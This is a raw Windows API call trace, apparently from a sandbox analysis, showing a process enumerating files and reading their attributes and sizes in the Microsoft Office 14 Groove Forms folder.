	[0052.605] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x127e44b8 | out: lpFileInformation=0x127e44b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1bfb)) returned 1
	[0052.605] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html"), fInfoLevelId=0x0, lpFileInformation=0x127e4508 | out: lpFileInformation=0x127e4508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4b2)) returned 1
	[0052.606] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html"), fInfoLevelId=0x0, lpFileInformation=0x127e4558 | out: lpFileInformation=0x127e4558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a7)) returned 1
	[0052.607] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html"), fInfoLevelId=0x0, lpFileInformation=0x127e45a8 | out: lpFileInformation=0x127e45a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x805)) returned 1
	[0052.607] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html"), fInfoLevelId=0x0, lpFileInformation=0x127e45f8 | out: lpFileInformation=0x127e45f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc96)) returned 1
	[0052.608] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagescript.js"), fInfoLevelId=0x0, lpFileInformation=0x127e4648 | out: lpFileInformation=0x127e4648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x15fc)) returned 1
	[0052.609] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css"), fInfoLevelId=0x0, lpFileInformation=0x127e4698 | out: lpFileInformation=0x127e4698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x40c)) returned 1
	[0052.609] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html"), fInfoLevelId=0x0, lpFileInformation=0x127e46e8 | out: lpFileInformation=0x127e46e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a2)) returned 1
	[0052.610] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html"), fInfoLevelId=0x0, lpFileInformation=0x127e4738 | out: lpFileInformation=0x127e4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x262)) returned 1
	[0052.611] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates"), fInfoLevelId=0x0, lpFileInformation=0x127e4788 | out: lpFileInformation=0x127e4788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.612] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.613] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\customer support.fdt"), fInfoLevelId=0x0, lpFileInformation=0x127e4a58 | out: lpFileInformation=0x127e4a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2021e)) returned 1
	[0052.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hardware tracker.fdt"), fInfoLevelId=0x0, lpFileInformation=0x127e4aa8 | out: lpFileInformation=0x127e4aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x20b43)) returned 1
	[0052.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition - customized.fdt"), fInfoLevelId=0x0, lpFileInformation=0x127e4af8 | out: lpFileInformation=0x127e4af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x24051)) returned 1
	[0052.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition.fdt"), fInfoLevelId=0x0, lpFileInformation=0x127e4b48 | out: lpFileInformation=0x127e4b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x248db)) returned 1
	[0052.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\policies.fdt"), fInfoLevelId=0x0, lpFileInformation=0x127e4b98 | out: lpFileInformation=0x127e4b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a52fdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x17d6d)) returned 1
	[0052.615] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\process library.fdt"), fInfoLevelId=0x0, lpFileInformation=0x127e4be8 | out: lpFileInformation=0x127e4be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16b33)) returned 1
	[0052.615] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\status report.fdt"), fInfoLevelId=0x0, lpFileInformation=0x127e4c38 | out: lpFileInformation=0x127e4c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x18ead)) returned 1
	[0052.615] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\track issues.fdt"), fInfoLevelId=0x0, lpFileInformation=0x127e4c88 | out: lpFileInformation=0x127e4c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e666)) returned 1
	[0052.616] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsversion1warning.htm"), fInfoLevelId=0x0, lpFileInformation=0x127e4cd8 | out: lpFileInformation=0x127e4cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc)) returned 1
	[0052.616] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg"), fInfoLevelId=0x0, lpFileInformation=0x127e4d28 | out: lpFileInformation=0x127e4d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1499)) returned 1
	[0052.616] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticonsmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x127e4d78 | out: lpFileInformation=0x127e4d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638)) returned 1
	[0052.617] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html"), fInfoLevelId=0x0, lpFileInformation=0x127e4dc8 | out: lpFileInformation=0x127e4dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfa1)) returned 1
	[0052.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml"), fInfoLevelId=0x0, lpFileInformation=0x127e4e18 | out: lpFileInformation=0x127e4e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x167d1)) returned 1
	[0052.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\MENUS.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menus.js"), fInfoLevelId=0x0, lpFileInformation=0x127e4e68 | out: lpFileInformation=0x127e4e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca6)) returned 1
	[0052.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SEARCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\search.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e4eb8 | out: lpFileInformation=0x127e4eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d273e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4af)) returned 1
	[0052.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SPACER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\spacer.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e4f08 | out: lpFileInformation=0x127e4f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x31)) returned 1
	[0052.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\submit.js"), fInfoLevelId=0x0, lpFileInformation=0x127e4f58 | out: lpFileInformation=0x127e4f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc118)) returned 1
	[0052.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.css"), fInfoLevelId=0x0, lpFileInformation=0x127e4fa8 | out: lpFileInformation=0x127e4fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x295)) returned 1
	[0052.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.ico"), fInfoLevelId=0x0, lpFileInformation=0x127e4ff8 | out: lpFileInformation=0x127e4ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e)) returned 1
	[0052.622] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.js"), fInfoLevelId=0x0, lpFileInformation=0x127e5048 | out: lpFileInformation=0x127e5048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x505b)) returned 1
	[0052.622] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEWBY.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewby.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5098 | out: lpFileInformation=0x127e5098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x207)) returned 1
	[0052.622] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg"), fInfoLevelId=0x0, lpFileInformation=0x127e50e8 | out: lpFileInformation=0x127e50e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78)) returned 1
	[0052.623] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\attention.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5138 | out: lpFileInformation=0x127e5138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8)) returned 1
	[0052.623] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_casual.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5188 | out: lpFileInformation=0x127e5188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d)) returned 1
	[0052.624] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_country.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e51d8 | out: lpFileInformation=0x127e51d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3)) returned 1
